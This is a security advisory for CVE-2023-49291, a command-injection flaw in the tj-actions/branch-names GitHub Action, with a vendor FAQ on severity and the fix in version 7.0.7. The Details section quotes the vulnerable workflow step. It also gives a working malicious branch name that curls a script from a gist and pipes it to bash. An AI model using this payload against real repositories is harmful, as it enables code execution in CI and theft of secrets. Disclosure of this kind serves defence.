CVE-2023-49291

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Reference

• https://securitylab.github.com/research/github-actions-untrusted-input

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2023-49291 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.0.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2023-49291? CVE-2023-49291 is a critical-severity improper input validation vulnerability in tj-actions/branch-names (actions), affecting versions < 7.0.7. It is fixed in 7.0.7. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2023-49291? CVE-2023-49291 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tj-actions/branch-names are affected by CVE-2023-49291? tj-actions/branch-names (actions) versions < 7.0.7 is affected.
4. Is there a fix for CVE-2023-49291? Yes. CVE-2023-49291 is fixed in 7.0.7. Upgrade to this version or later.
5. Is CVE-2023-49291 exploitable, and should I be worried? Whether CVE-2023-49291 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-49291 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-49291? Upgrade tj-actions/branch-names to 7.0.7 or later.